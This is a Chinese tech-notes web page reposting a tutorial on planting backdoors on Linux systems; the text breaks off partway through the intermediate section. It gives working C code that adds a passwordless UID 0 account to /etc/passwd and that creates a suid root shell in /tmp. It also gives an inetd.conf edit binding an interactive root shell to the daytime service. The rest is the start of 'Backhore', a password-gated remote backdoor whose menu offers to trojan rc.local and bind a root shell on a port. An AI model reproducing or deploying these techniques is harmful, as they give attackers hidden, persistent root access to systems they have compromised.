热门标签 | HotTags
当前位置:  开发笔记 > 运维 > 正文

创建linux后门总结初级篇中级篇高级篇

初级篇最简单的方法,就是在口令文件passwd中增加一个UID为0的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会漏馅了。以下是在etcpasswd口令文件中添加一个UID0帐号的C程序。++backdoorbackdoor1.c#includemain(){FI

初级篇   
最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。   
<++> backdoor/backdoor1.c   
#include   
main()   
{   
FILE *fd;   
fd=fopen("/etc/passwd","a+");   
fprintf(fd,"hax0r::0:0::/root:/bin/sh\\n");   
}   
<-->  

比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)  

在 /tmp 目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。  

<++> backdoor/backdoor2.c   
#include   
main()   
{   
system("cp /bin/sh /tmp/fid");   
system("chown root.root /tmp/fid");   
system("chmod 4755 /tmp/fid");   
}   
<-->   
____________________________________________________________________   
中级篇  

超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方。 那么在这里如何建立一个最好的后门呢?当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下:  

(1) (2) (3) (4) (5) (6) (7)   
ftp stream tcp nowait root /usr/etc/ftpd ftpd   
talk dgram udp wait root /usr/etc/ntalkd ntalkd   
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd  

1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。   
2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。   
3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。   
4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。   
5:第五栏给出运行守护进程的用户名。   
6:第六栏给出守护进程的全限定路径名。   
7:守护进程的真实名字及其参数。  

如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 ’internal’ 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell。  

一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的:  

daytime stream tcp nowait root internal  

修改为:  

daytime stream tcp nowait /bin/sh sh -i.  

然后重启(记住:一定要重启)inetd 进程:  

killall -9 inetd。  

但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)  

<++> backdoor/remoteback.c   
/* Coders:   
Theft  

Help from:   
Sector9, Halogen  

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,   
Psionic, g0d, Psionic.   
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),   
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,   
Tg0d, EHAP.   
Usage:   
Setup:   
# gcc -o backhore backhore.c # ./backdoor password &   
Run:   
Telnet to the host on port 4000. After connected you   
Will not be prompted for a password, this way it is less   
Obvious, just type the password and press enter, after this   
You will be prompted for a command, pick 1-8.  

Distributers:   
Ethical Mutiny Crew  

*/  

#include   
#include   
#include   
#include   
#include   
#include   
#include   
#include  


#define PORT 4000   
#define MAXDATASIZE 100   
#define BACKLOG 10   
#define SA struct sockaddr  

void handle(int);  

int   
main(int argc, char *argv[])   
{   
int sockfd, new_fd, sin_size, numbytes, cmd;   
char ask[10]="Command: ";   
char *bytes, *buf, pass[40];   
struct sockaddr_in my_addr;  

struct sockaddr_in their_addr;  

printf("\\n Backhore BETA by Theft\\n");   
printf(" 1: trojans rc.local\\n");   
printf(" 2: sends a systemwide message\\n");   
printf(" 3: binds a root shell on port 2000\\n");   
printf(" 4: creates suid sh in /tmp\\n");   
printf(" 5: creates mutiny account uid 0 no passwd\\n");   
printf(" 6: drops to suid shell\\n");   
printf(" 7: information on backhore\\n");   
printf(" 8: contact\\n");  

if (argc != 2) {   
fprintf(stderr,"Usage: %s password\\n", argv[0]);   
exit(1);   
}  

strncpy(pass, argv[1], 40);   
printf("..using password: %s..\\n", pass);  


if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {   
perror("socket");   
exit(1);   
}  

my_addr.sin_family = AF_INET;   
my_addr.sin_port = htons(PORT);   
my_addr.sin_addr.s_addr = INADDR_ANY;  

if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {  

perror("bind");   
exit(1);   

推荐阅读
  • NFS(Network File System)即网络文件系统,是一种分布式文件系统协议,主要用于Unix和类Unix系统之间的文件共享。本文详细介绍NFS的配置文件/etc/exports和相关服务配置,帮助读者理解如何在Linux环境中配置NFS客户端。 ... [详细]
  • 本文详细介绍了如何设置局域网,并确保网络中的所有计算机能够相互访问和共享安装的软件。包括物理连接检查、TCP/IP设置、网络协议配置等多个方面。 ... [详细]
  • 深入解析Spring Cloud微服务架构与分布式系统实战
    本文详细介绍了Spring Cloud在微服务架构和分布式系统中的应用,结合实际案例和最新技术,帮助读者全面掌握微服务的实现与优化。 ... [详细]
  • 三菱PLC SLMP协议报文详解
    本文详细解析了三菱PLC中使用的SLMP协议报文结构,包括其工作原理、通信流程及报文格式,旨在帮助工程师和技术人员更好地理解和运用这一协议。 ... [详细]
  • 使用C# .NET构建UDP点对点聊天应用
    本文详细介绍如何利用C# .NET框架开发一个基于UDP协议的点对点聊天程序,包括客户端与服务器之间的连接建立、数据传输等核心功能。 ... [详细]
  • 本文探讨了Web开发与游戏开发之间的主要区别,旨在帮助开发者更好地理解两种开发领域的特性和需求。文章基于作者的实际经验和网络资料整理而成。 ... [详细]
  • 本文将详细探讨 Linux 系统中的 netstat 命令,该命令用于查看网络状态和连接情况。通过了解 IP 地址和端口的基本概念,我们将更好地理解如何利用 netstat 命令来监控和管理网络服务。 ... [详细]
  • 多核处理器技术的显著进展可追溯至IBM于2001年推出的双核RISC处理器POWER4,标志着服务器处理器迈入多核时代。随后,HP和Sun等公司也纷纷加入这一行列,推动了多核处理器在不同领域的广泛应用。 ... [详细]
  • TCP/IP基础知识详解
    本文详细介绍了TCP/IP协议的基本概念,包括网络层次模型、TCP三次握手过程、四次挥手过程以及TCP与UDP的比较。通过这些内容,读者可以更好地理解TCP/IP协议的工作原理。 ... [详细]
  • 解析EasyCVR平台国标GB28181协议下的TCP与UDP模式
    在使用EasyCVR视频融合平台过程中,用户常遇到关于端口设置的问题,尤其是TCP和UDP模式的区别。本文将详细介绍这两种模式在GB28181协议下的具体应用及差异。 ... [详细]
  • 一面问题:MySQLRedisKafka线程算法mysql知道哪些存储引擎,它们的区别mysql索引在什么情况下会失效mysql在项目中的优化场景&# ... [详细]
  • 本文详细探讨了虚拟化的基本概念,包括服务器虚拟化、网络虚拟化及其在云计算环境中的应用。特别强调了SDN技术在网络虚拟化和云计算中的关键作用,以及网络虚拟化技术如何提升资源利用效率和管理灵活性。 ... [详细]
  • 本文深入探讨了网络编程中的基本概念,如指针、引用和可重入函数,并详细介绍了OSI七层模型和TCP/IP四层模型的功能与协议。同时,文章还对比了HTTP与HTTPS的区别,分析了HTTP请求报文的结构,讨论了TCP与UDP的主要差异,以及滑动窗口协议的工作原理。 ... [详细]
  • 本文详细记录了作者从7月份的提前批到9、10月份正式批的秋招经历,包括各公司的面试流程、技术问题及HR面的常见问题。通过这次秋招,作者深刻体会到了技术积累和面试准备的重要性。 ... [详细]
  • 本文详细探讨了电脑重装操作系统后无法访问网络邻居的原因及解决方案,包括检查网络配置、权限设置等多个方面。 ... [详细]
author-avatar
中国地产人
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有